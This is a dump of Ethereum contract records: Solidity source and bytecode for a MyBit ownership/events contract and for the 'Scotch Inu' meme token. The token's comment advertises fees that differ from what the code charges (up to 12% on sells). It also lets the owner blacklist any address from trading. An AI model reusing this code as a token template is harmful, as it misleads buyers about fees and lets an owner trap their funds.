function escrow(string _message, address _assetAddress, bytes32 _escrowID, address _manager, uint _amount)
external
onlyApprovedContract {
emit LogEscrow(_message, keccak256(abi.encodePacked(_message)), _assetAddress, _escrowID, _manager, _amount, tx.origin);
}
function order(string _message, bytes32 _orderID, uint _amount, uint _price)
external
onlyApprovedContract {
emit LogOrder(_message, keccak256(abi.encodePacked(_message)), _orderID, _amount, _price, tx.origin);
}
function exchange(string _message, bytes32 _orderID, address _assetAddress, address _account)
external
onlyApprovedContract {
emit LogExchange(_message, keccak256(abi.encodePacked(_message)), _orderID, _assetAddress, _account, tx.origin);
}
function operator(string _message, bytes32 _id, string _name, string _ipfs, address _account)
external
onlyApprovedContract {
emit LogOperator(_message, keccak256(abi.encodePacked(_message)), _id, _name, _ipfs, _account, tx.origin);
}
function consensus(string _message, bytes32 _executionID, bytes32 _votesID, uint _votes, uint _tokens, uint _quorum)
external
onlyApprovedContract {
emit LogConsensus(_message, keccak256(abi.encodePacked(_message)), _executionID, _votesID, _votes, _tokens, _quorum, tx.origin);
}
//Generalized events
event LogEvent(string message, bytes32 indexed messageID, address indexed origin);
event LogTransaction(string message, bytes32 indexed messageID, address indexed from, address indexed to, uint amount, address token, address origin); //amount and token will be empty on some events
event LogAddress(string message, bytes32 indexed messageID, address indexed account, address indexed origin);
event LogContractChange(string message, bytes32 indexed messageID, address indexed account, string name, address indexed origin);
event LogAsset(string message, bytes32 indexed messageID, string uri, bytes32 indexed assetID, address asset, address manager, address indexed origin);
event LogEscrow(string message, bytes32 indexed messageID, address asset, bytes32 escrowID, address indexed manager, uint amount, address indexed origin);
event LogOrder(string message, bytes32 indexed messageID, bytes32 indexed orderID, uint amount, uint price, address indexed origin);
event LogExchange(string message, bytes32 indexed messageID, bytes32 orderID, address indexed asset, address account, address indexed origin);
event LogOperator(string message, bytes32 indexed messageID, bytes32 id, string name, string ipfs, address indexed account, address indexed origin);
event LogConsensus(string message, bytes32 indexed messageID, bytes32 executionID, bytes32 votesID, uint votes, uint tokens, uint quorum, address indexed origin);
// --------------------------------------------------------------------------------------
// Caller must be registered as a contract through ContractManager.sol
// --------------------------------------------------------------------------------------
modifier onlyApprovedContract() {
require(database.boolStorage(keccak256(abi.encodePacked("contract", msg.sender))));
_;
}
}
// @title A contract for managing multiple platform owners
// @dev Multi owned platforms store owner as an address. Each owner has full privileges
// @author Peter Phillips, MyBit Foundation
contract MultiOwned {
Database public database;
Events public events;
// @notice constructor: initiate database instance
constructor(address _database, address _events) public {
database = Database(_database);
events = Events(_events);
}
// @notice Transfer ownership to to a new owner
function changeOwner(address _newOwner)
public
onlyOwner {
require(_newOwner != address(0), "Cannnot add null address");
database.setBool(keccak256(abi.encodePacked("owner", _newOwner)), true);
database.setBool(keccak256(abi.encodePacked("owner", msg.sender)), false);
events.transaction('Ownership transferred', msg.sender, _newOwner, 0, address(0));
}
function addOwner(address _newOwner)
public
onlyOwner {
require(_newOwner != address(0), "Cannnot add null address");
database.setBool(keccak256(abi.encodePacked("owner", _newOwner)), true);
events.transaction('Owner added', msg.sender, _newOwner, 0, address(0));
}
function removeOwner(address _currentOwner)
public
onlyOwner {
require(_currentOwner != msg.sender, "Owner cannot remove themselves");
database.setBool(keccak256(abi.encodePacked("owner", _currentOwner)), false);
events.transaction('Owner removed', msg.sender, _currentOwner, 0, address(0));
}
// @notice platform owners can destroy contract here
function destroy()
onlyOwner
external {
events.transaction('MultiOwned destroyed', address(this), msg.sender, address(this).balance, address(0));
selfdestruct(msg.sender);
}
// @notice reverts if caller is not the owner
modifier onlyOwner() {
require(database.boolStorage(keccak256(abi.encodePacked("owner", msg.sender))) == true);
_;
}
//event OwnershipTransferred(address indexed owner, address indexed pendingOwner);
}
|
0x60806040526004361061005e5763ffffffff60e060020a600035041663173825d981146100635780637065cb4814610086578063713b563f146100a757806383197ef0146100d8578063a6f9dae1146100ed578063b5f8558c1461010e575b600080fd5b34801561006f57600080fd5b50610084600160a060020a0360043516610123565b005b34801561009257600080fd5b50610084600160a060020a0360043516610470565b3480156100b357600080fd5b506100bc6107a0565b60408051600160a060020a039092168252519081900360200190f35b3480156100e457600080fd5b506100846107af565b3480156100f957600080fd5b50610084600160a060020a036004351661097f565b34801561011a57600080fd5b506100bc610db6565b6000546040805160d960020a6437bbb732b9026020808301919091526c0100000000000000000000000033026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b602083106101a55780518252601f199092019160209182019101610186565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561020657600080fd5b505af115801561021a573d6000803e3d6000fd5b505050506040513d602081101561023057600080fd5b5051151560011461024057600080fd5b600160a060020a0381163314156102b857604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601e60248201527f4f776e65722063616e6e6f742072656d6f7665207468656d73656c7665730000604482015290519081900360640190fd5b6000546040805160d960020a6437bbb732b902602080830191909152600160a060020a038581166c0100000000000000000000000002602584015283518084036019018152603990930193849052825194169363abfdcced93918291908401908083835b6020831061033b5780518252601f19909201916020918201910161031c565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a02825260048201526000602482018190529251604480830196509394509290839003019050818387803b1580156103a857600080fd5b505af11580156103bc573d6000803e3d6000fd5b50506001546040805160e160020a63215a12d5028152336024820152600160a060020a0386811660448301526000606483018190526084830181905260a06004840152600d60a48401527f4f776e65722072656d6f7665640000000000000000000000000000000000000060c48401529251931694506342b425aa935060e4808201939182900301818387803b15801561045557600080fd5b505af1158015610469573d6000803e3d6000fd5b5050505050565b6000546040805160d960020a6437bbb732b9026020808301919091526c0100000000000000000000000033026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b602083106104f25780518252601f1990920191602091820191016104d3565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561055357600080fd5b505af1158015610567573d6000803e3d6000fd5b505050506040513d602081101561057d57600080fd5b5051151560011461058d57600080fd5b600160a060020a038116151561060457604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43616e6e6e6f7420616464206e756c6c20616464726573730000000000000000604482015290519081900360640190fd5b6000546040805160d960020a6437bbb732b902602080830191909152600160a060020a038581166c0100000000000000000000000002602584015283518084036019018152603990930193849052825194169363abfdcced93918291908401908083835b602083106106875780518252601f199092019160209182019101610668565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260016024820152915160448084019550600094509092839003019050818387803b1580156106f357600080fd5b505af1158015610707573d6000803e3d6000fd5b50506001546040805160e160020a63215a12d5028152336024820152600160a060020a0386811660448301526000606483018190526084830181905260a06004840152600b60a48401527f4f776e657220616464656400000000000000000000000000000000000000000060c48401529251931694506342b425aa935060e4808201939182900301818387803b15801561045557600080fd5b600054600160a060020a031681565b6000546040805160d960020a6437bbb732b9026020808301919091526c0100000000000000000000000033026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b602083106108315780518252601f199092019160209182019101610812565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b15801561089257600080fd5b505af11580156108a6573d6000803e3d6000fd5b505050506040513d60208110156108bc57600080fd5b505115156001146108cc57600080fd5b6001546040805160e160020a63215a12d5028152306024820181905233604483015231606482015260006084820181905260a06004830152601460a48301527f4d756c74694f776e65642064657374726f79656400000000000000000000000060c48301529151600160a060020a03909316926342b425aa9260e48084019391929182900301818387803b15801561096357600080fd5b505af1158015610977573d6000803e3d6000fd5b503392505050ff5b6000546040805160d960020a6437bbb732b9026020808301919091526c0100000000000000000000000033026025830152825160198184030181526039909201928390528151600160a060020a0390941693633b7bfda093918291908401908083835b60208310610a015780518252601f1990920191602091820191016109e2565b51815160209384036101000a60001901801990921691161790526040805192909401829003822063ffffffff881660e060020a0283526004830152925160248083019650939450929083900301905081600087803b158015610a6257600080fd5b505af1158015610a76573d6000803e3d6000fd5b505050506040513d6020811015610a8c57600080fd5b50511515600114610a9c57600080fd5b600160a060020a0381161515610b1357604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601860248201527f43616e6e6e6f7420616464206e756c6c20616464726573730000000000000000604482015290519081900360640190fd5b6000546040805160d960020a6437bbb732b902602080830191909152600160a060020a038581166c0100000000000000000000000002602584015283518084036019018152603990930193849052825194169363abfdcced93918291908401908083835b60208310610b965780518252601f199092019160209182019101610b77565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a028252600482015260016024820152915160448084019550600094509092839003019050818387803b158015610c0257600080fd5b505af1158015610c16573d6000803e3d6000fd5b50506000546040805160d960020a6437bbb732b9026020808301919091526c0100000000000000000000000033026025830152825160198184030181526039909201928390528151600160a060020a03909416955063abfdcced9450909282918401908083835b60208310610c9c5780518252601f199092019160209182019101610c7d565b5181516020939093036101000a60001901801990911692169190911790526040805191909301819003812063ffffffff871660e060020a02825260048201526000602482018190529251604480830196509394509290839003019050818387803b158015610d0957600080fd5b505af1158015610d1d573d6000803e3d6000fd5b50506001546040805160e160020a63215a12d5028152336024820152600160a060020a0386811660448301526000606483018190526084830181905260a06004840152601560a48401527f4f776e657273686970207472616e73666572726564000000000000000000000060c48401529251931694506342b425aa935060e4808201939182900301818387803b15801561045557600080fd5b600154600160a060020a0316815600a165627a7a72305820aabc2e8e0d8f0914967dc2df7c09920ca9d95fa70074ef9789e7396a3809ec000029
|
{"success": true, "error": null, "results": {}}
| 8,603 |
0x107f501d19ec12001a2dd5eca26dade22e854f07
|
/**
*Submitted for verification at Etherscan.io on 2021-12-26
*/
/*
https://twitter.com/elonmusk/status/1475081021423038468
Scotch Inu
Total 10 000 000 000
4% to LP and Buyback
4% Marketing
2% Reflections
https://t.me/ScotchInu
*/
pragma solidity ^0.8.9;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ScotchInu is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Scotch Inu";
string private constant _symbol = "Scotch";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x8aA9e5EEe2F1A71e4308024FbA18776f77E50C56);
_feeAddrWallet2 = payable(0x8aA9e5EEe2F1A71e4308024FbA18776f77E50C56);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101025760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102c7578063b515566a146102e7578063c3c8cd8014610307578063c9567bf91461031c578063dd62ed3e1461033157600080fd5b806370a082311461023b578063715018a61461025b5780638da5cb5b1461027057806395d89b411461029857600080fd5b8063273123b7116100d1578063273123b7146101c8578063313ce567146101ea5780635932ead1146102065780636fc3eaec1461022657600080fd5b806306fdde031461010e578063095ea7b31461015357806318160ddd1461018357806323b872dd146101a857600080fd5b3661010957005b600080fd5b34801561011a57600080fd5b5060408051808201909152600a81526953636f74636820496e7560b01b60208201525b60405161014a9190611593565b60405180910390f35b34801561015f57600080fd5b5061017361016e36600461160d565b610377565b604051901515815260200161014a565b34801561018f57600080fd5b50678ac7230489e800005b60405190815260200161014a565b3480156101b457600080fd5b506101736101c3366004611639565b61038e565b3480156101d457600080fd5b506101e86101e336600461167a565b6103f7565b005b3480156101f657600080fd5b506040516009815260200161014a565b34801561021257600080fd5b506101e86102213660046116a5565b61044b565b34801561023257600080fd5b506101e8610493565b34801561024757600080fd5b5061019a61025636600461167a565b6104c0565b34801561026757600080fd5b506101e86104e2565b34801561027c57600080fd5b506000546040516001600160a01b03909116815260200161014a565b3480156102a457600080fd5b506040805180820190915260068152650a6c6dee8c6d60d31b602082015261013d565b3480156102d357600080fd5b506101736102e236600461160d565b610556565b3480156102f357600080fd5b506101e86103023660046116d8565b610563565b34801561031357600080fd5b506101e86105f9565b34801561032857600080fd5b506101e861062f565b34801561033d57600080fd5b5061019a61034c36600461179d565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b60006103843384846109f1565b5060015b92915050565b600061039b848484610b15565b6103ed84336103e88560405180606001604052806028815260200161199c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e62565b6109f1565b5060019392505050565b6000546001600160a01b0316331461042a5760405162461bcd60e51b8152600401610421906117d6565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104755760405162461bcd60e51b8152600401610421906117d6565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104b357600080fd5b476104bd81610e9c565b50565b6001600160a01b03811660009081526002602052604081205461038890610f21565b6000546001600160a01b0316331461050c5760405162461bcd60e51b8152600401610421906117d6565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610384338484610b15565b6000546001600160a01b0316331461058d5760405162461bcd60e51b8152600401610421906117d6565b60005b81518110156105f5576001600660008484815181106105b1576105b161180b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806105ed81611837565b915050610590565b5050565b600c546001600160a01b0316336001600160a01b03161461061957600080fd5b6000610624306104c0565b90506104bd81610fa5565b6000546001600160a01b031633146106595760405162461bcd60e51b8152600401610421906117d6565b600f54600160a01b900460ff16156106b35760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610421565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106ef3082678ac7230489e800006109f1565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561072857600080fd5b505afa15801561073c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107609190611852565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107a857600080fd5b505afa1580156107bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107e09190611852565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561082857600080fd5b505af115801561083c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108609190611852565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610890816104c0565b6000806108a56000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561090857600080fd5b505af115801561091c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610941919061186f565b5050600f8054670de0b6b3a764000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109b957600080fd5b505af11580156109cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f5919061189d565b6001600160a01b038316610a535760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610421565b6001600160a01b038216610ab45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610421565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b795760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610421565b6001600160a01b038216610bdb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610421565b60008111610c3d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610421565b6002600a556008600b556000546001600160a01b03848116911614801590610c7357506000546001600160a01b03838116911614155b15610e52576001600160a01b03831660009081526006602052604090205460ff16158015610cba57506001600160a01b03821660009081526006602052604090205460ff16155b610cc357600080fd5b600f546001600160a01b038481169116148015610cee5750600e546001600160a01b03838116911614155b8015610d1357506001600160a01b03821660009081526005602052604090205460ff16155b8015610d285750600f54600160b81b900460ff165b15610d8557601054811115610d3c57600080fd5b6001600160a01b0382166000908152600760205260409020544211610d6057600080fd5b610d6b42601e6118ba565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610db05750600e546001600160a01b03848116911614155b8015610dd557506001600160a01b03831660009081526005602052604090205460ff16155b15610de5576002600a908155600b555b6000610df0306104c0565b600f54909150600160a81b900460ff16158015610e1b5750600f546001600160a01b03858116911614155b8015610e305750600f54600160b01b900460ff165b15610e5057610e3e81610fa5565b478015610e4e57610e4e47610e9c565b505b505b610e5d83838361112e565b505050565b60008184841115610e865760405162461bcd60e51b81526004016104219190611593565b506000610e9384866118d2565b95945050505050565b600c546001600160a01b03166108fc610eb6836002611139565b6040518115909202916000818181858888f19350505050158015610ede573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610ef9836002611139565b6040518115909202916000818181858888f193505050501580156105f5573d6000803e3d6000fd5b6000600854821115610f885760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610421565b6000610f9261117b565b9050610f9e8382611139565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610fed57610fed61180b565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561104157600080fd5b505afa158015611055573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110799190611852565b8160018151811061108c5761108c61180b565b6001600160a01b039283166020918202929092010152600e546110b291309116846109f1565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906110eb9085906000908690309042906004016118e9565b600060405180830381600087803b15801561110557600080fd5b505af1158015611119573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610e5d83838361119e565b6000610f9e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611295565b60008060006111886112c3565b90925090506111978282611139565b9250505090565b6000806000806000806111b087611303565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506111e29087611360565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461121190866113a2565b6001600160a01b03891660009081526002602052604090205561123381611401565b61123d848361144b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161128291815260200190565b60405180910390a3505050505050505050565b600081836112b65760405162461bcd60e51b81526004016104219190611593565b506000610e93848661195a565b6008546000908190678ac7230489e800006112de8282611139565b8210156112fa57505060085492678ac7230489e8000092509050565b90939092509050565b60008060008060008060008060006113208a600a54600b5461146f565b925092509250600061133061117b565b905060008060006113438e8787876114c4565b919e509c509a509598509396509194505050505091939550919395565b6000610f9e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e62565b6000806113af83856118ba565b905083811015610f9e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610421565b600061140b61117b565b905060006114198383611514565b3060009081526002602052604090205490915061143690826113a2565b30600090815260026020526040902055505050565b6008546114589083611360565b60085560095461146890826113a2565b6009555050565b600080808061148960646114838989611514565b90611139565b9050600061149c60646114838a89611514565b905060006114b4826114ae8b86611360565b90611360565b9992985090965090945050505050565b60008080806114d38886611514565b905060006114e18887611514565b905060006114ef8888611514565b90506000611501826114ae8686611360565b939b939a50919850919650505050505050565b60008261152357506000610388565b600061152f838561197c565b90508261153c858361195a565b14610f9e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610421565b600060208083528351808285015260005b818110156115c0578581018301518582016040015282016115a4565b818111156115d2576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b03811681146104bd57600080fd5b8035611608816115e8565b919050565b6000806040838